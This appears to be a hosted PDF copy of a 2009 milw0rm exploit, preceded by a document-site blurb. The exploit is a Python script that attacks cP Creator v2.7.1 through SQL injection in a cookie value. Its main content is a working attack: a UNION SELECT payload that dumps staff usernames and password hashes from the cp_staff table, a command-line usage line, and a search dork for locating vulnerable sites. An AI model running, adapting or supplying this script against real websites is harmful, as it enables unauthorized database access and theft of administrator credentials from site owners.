cP Creator v2.7.1 Remote Sql Injection.pdf

About Global Documents

Global Documents provides you with documents from around the globe on a variety of topics for your enjoyment.

Global Documents utilizes edocr for all its document needs due to edocr's wonderful content features. Thousands of professionals and businesses around the globe publish marketing, sales, operations, customer service and financial documents making it easier for prospects and customers to find content.

R3d W0rm cP Creator v2 http R3dW0rm ir print http Remote Sql Injection

1 #!/usr/bin/python
2 #####################################################################################
3 ####                  cP Creator v2.7.1 Remote Sql Injection                     ####
4 #####################################################################################
5 #                                                                                   #
6 #AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
7 #Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
8 #Our Site : http://IrCrash.com  −> (Coming Soon Again)                              #
9 #My Official WebSite : http://R3dW0rm.ir                                            #
10 #IRCRASH Team Members : Khashayar Fereidani − R3d.w0rm (Sina Yazdanmehr)            #
11 #####################################################################################
12 #                                                                                   #
13 #Download : http://www.cpcreator.net                                                #
14 #                                                                                   #
15 #Dork : Powered by cP Creator v2.7.1                                                #
16 #                                                                                   #
17 #*** Magic Quotes gpc = Off ***                                                     #
18 #                                                                                   #
19 ###################################### TNX GOD ######################################
20 import sys,httplib
21 p = ’’
22 if len(sys.argv) < 3 :
23     print "\nPowered by : R3d.W0rm"
24     print "Http://IrCrash.Com − Http://R3dW0rm.Ir"
25     print "Usage : code.py [host] /[path]"
26     exit()
27 co = {"Cookie": "tickets=−999’ union select 0,concat(0x265E21402A,user,0x3A,pass,0x265E21402A),2,3,4,5,6,7,8 from cp_staff/*;"}
28 c = httplib.HTTPConnection(sys.argv[1],80)
29 c.request("GET", "/" + sys.argv[2] + "/?page=support&task=ticket", p, co)
30 data = c.getresponse().read()
31 if "&^!@*" not in data :
32     print "Attack Failed ."
33     exit()
34 output = data.split("&^!@*")
35 print "\n+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+"
36 print "\nPowered by : R3d.W0rm"
37 print "Http://IrCrash.Com − Http://R3dW0rm.Ir\n"
38 print "+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+"
39 print "\n " + output[1]
40
41 # milw0rm.com [2009−09−21]
Page 1/1
cP Creator v2.7.1 Remote Sql Injection
Sina Yazdanmehr
09/21/2009